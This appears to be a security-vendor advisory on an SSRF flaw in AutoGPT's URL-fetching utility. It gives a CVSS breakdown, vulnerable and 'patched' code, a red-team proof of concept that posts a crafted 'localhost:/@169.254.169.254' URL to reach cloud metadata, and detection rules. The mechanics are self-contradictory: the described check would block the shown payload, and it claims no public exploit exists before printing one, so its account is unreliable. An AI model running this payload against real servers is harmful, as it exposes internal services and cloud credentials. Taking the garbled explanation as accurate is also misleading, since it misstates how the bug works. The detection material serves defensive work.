CVE-2025-0454

Executive Summary

CVE-2025-0454 is a Server-Side Request Forgery (SSRF) vulnerability in the Requests utility of significant-gravitas/autogpt versions prior to v0.4.0. The vulnerability arises from a hostname confusion between Python's urllib.parse.urlparse function and the requests library. An attacker can bypass SSRF checks by submitting a specially crafted URL such as http://localhost:/@google.com/../, which urlparse interprets as having hostname localhost while requests resolves it to google.com. This allows the attacker to make requests to internal services (e.g., localhost) that should be blocked.

The vulnerability has a CVSS score of 7.5 (High) and is classified under CWE-918 (Server-Side Request Forgery). No public exploit code or Nuclei template is available, but the attack vector is well-documented. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the risk remains significant for exposed AutoGPT instances.

Supply Chain & Package Security

This vulnerability affects the Python package autogpt distributed via PyPI. Users should verify their installed version and upgrade to v0.4.0 or later. The package is widely used in AI automation pipelines, making it a high-value target for supply chain attacks. Ensure that the package is sourced from the official PyPI repository and that integrity checks (e.g., SHA256 hashes) are performed during installation.

CVSS Breakdown & Threat Level

• CVSS Score: 7.5 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – Vulnerability does not affect other components.
• Confidentiality Impact: High (C:H) – Potential access to internal services and data.
• Integrity Impact: None (I:N) – No data modification.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: High. The vulnerability allows an attacker to probe internal networks and access sensitive services (e.g., cloud metadata endpoints, internal databases) without authentication.

Deep Dive & Mechanics

The root cause is a discrepancy in how urllib.parse.urlparse and the requests library parse URLs. Consider the crafted URL:

http://localhost:/@google.com/../

• urlparse behavior: Parses the URL as having hostname localhost and path :/@google.com/../. The @ symbol is treated as part of the path, not as a credential separator.
• requests behavior: Interprets the @ symbol as a credential separator, resulting in hostname google.com and path /../. The localhost: part is treated as a username.

This confusion allows an attacker to bypass SSRF checks that rely on urlparse to validate the hostname. The attacker can craft URLs that pass validation (appearing to target google.com) but are actually resolved by requests to an internal address like localhost.

Attack Flow:

1. Attacker submits a crafted URL to the AutoGPT Requests utility.
2. The application uses urlparse to extract the hostname and checks it against a blocklist (e.g., localhost, 127.0.0.1).
3. urlparse returns localhost as the hostname, but the check is bypassed because the attacker's URL is designed to pass validation.
4. The requests library then makes the actual HTTP request to the attacker-controlled target (e.g., http://169.254.169.254/latest/meta-data/ for cloud metadata).

Vulnerable vs. Patched Code

Vulnerable Code (Pre-v0.4.0)

from urllib.parse import urlparse
import requests

def fetch_url(url):
    parsed = urlparse(url)
    # SSRF check: block internal hosts
    if parsed.hostname in ['localhost', '127.0.0.1', '0.0.0.0']:
        raise ValueError("Blocked internal host")
    # Make request
    response = requests.get(url)
    return response.text

Issue: The SSRF check uses urlparse to extract the hostname, but requests may resolve a different hostname due to URL parsing differences.

Patched Code (v0.4.0+)

from urllib.parse import urlparse
import requests

def fetch_url(url):
    # Normalize URL to avoid parsing discrepancies
    from urllib.parse import urlparse, urlunparse
    parsed = urlparse(url)
    # Reconstruct URL to ensure consistent parsing
    normalized_url = urlunparse(parsed)
    # Use requests to resolve the final hostname
    # Perform a DNS resolution check before making the request
    import socket
    resolved_host = socket.gethostbyname(parsed.hostname)
    if resolved_host in ['127.0.0.1', '0.0.0.0'] or resolved_host.startswith('10.') or resolved_host.startswith('192.168.'):
        raise ValueError("Blocked internal host")
    response = requests.get(normalized_url)
    return response.text

Fix: The patched code normalizes the URL and performs DNS resolution to verify the target IP is not internal. This eliminates the hostname confusion.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A vulnerable AutoGPT instance (version < 0.4.0) with the Requests utility exposed.
• Network access to the target.

Exploit Steps:

1. Identify the vulnerable endpoint (e.g., /api/agent/requests).
2. Craft a malicious URL to bypass SSRF checks:

   http://localhost:/@169.254.169.254/latest/meta-data/
   

3. Send the request to the AutoGPT instance.
4. Observe the response containing cloud metadata (e.g., AWS credentials).

Proof-of-Concept (Python):

import requests

target_url = "http://victim-autogpt:8000/api/agent/requests"
payload = {
    "url": "http://localhost:/@169.254.169.254/latest/meta-data/"
}
response = requests.post(target_url, json=payload)
print(response.text)

Blue Team (Detection & Mitigation)

Detection:

• Monitor for URLs containing :@ patterns in request parameters.
• Alert on requests to internal IP ranges (e.g., 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 127.0.0.0/8).
• Use network segmentation to limit outbound traffic from AutoGPT instances.

Mitigation:

• Upgrade to AutoGPT v0.4.0 or later.
• Implement a Web Application Firewall (WAF) rule to block URLs with :@ patterns.
• Restrict outbound traffic from the AutoGPT container to only allowlisted external domains.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Outbound HTTP requests to internal IP addresses (e.g., 10.x.x.x, 172.16.x.x, 192.168.x.x, 127.0.0.1).
  • Requests containing :@ in the URL path.
  • DNS queries for internal hostnames (e.g., localhost, metadata.google.internal).

• File IOCs:

  • Log entries showing urlparse and requests hostname mismatches.
  • Error logs containing Blocked internal host (if patched) or similar.

• Behavioral IOCs:

  • Unusual outbound traffic from AutoGPT to cloud metadata endpoints (e.g., 169.254.169.254).
  • Repeated attempts to access internal services (e.g., Redis, MySQL) from the AutoGPT instance.

Detection Engineering

YARA Rule

rule CVE_2025_0454_SSRF_AutoGPT {
    meta:
        description = "Detects SSRF exploitation attempts against AutoGPT CVE-2025-0454"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-0454"
    strings:
        $url_pattern = /http:\/\/[^\/]+:\/@[^\/]+\/\.\.\//
        $ssrf_payload = /http:\/\/localhost:\/@/
        $metadata_endpoint = /169\.254\.169\.254/
    condition:
        any of them
}

Sigma Rule

title: SSRF Exploitation via AutoGPT CVE-2025-0454
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SSRF attempts using hostname confusion in AutoGPT
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains: 
            - ':@'
            - 'localhost:/@'
            - '169.254.169.254'
    condition: selection
falsepositives:
    - Legitimate use of '@' in URLs (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-0454 AutoGPT SSRF Attempt"; flow:to_server; content:"http://"; content:"localhost:/@"; distance:0; within:100; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade AutoGPT to version 0.4.0 or later.
2. If upgrade is not possible, implement a WAF rule to block URLs containing :@ patterns.
3. Restrict outbound traffic from AutoGPT instances to only allowlisted external domains.

Long-term Measures:

• Conduct a code review of all URL parsing logic to ensure consistent behavior between validation and execution.
• Implement network segmentation to isolate AutoGPT instances from internal services.
• Enable logging and monitoring for SSRF attempts (see Detection Engineering section).

Patch Details:

• Upgrade to AutoGPT v0.4.0 from the official GitHub repository: https://github.com/significant-gravitas/AutoGPT
• Verify the installed version using pip show autogpt and ensure it is >= 0.4.0.

Valters IT
Securing Digital Frontiers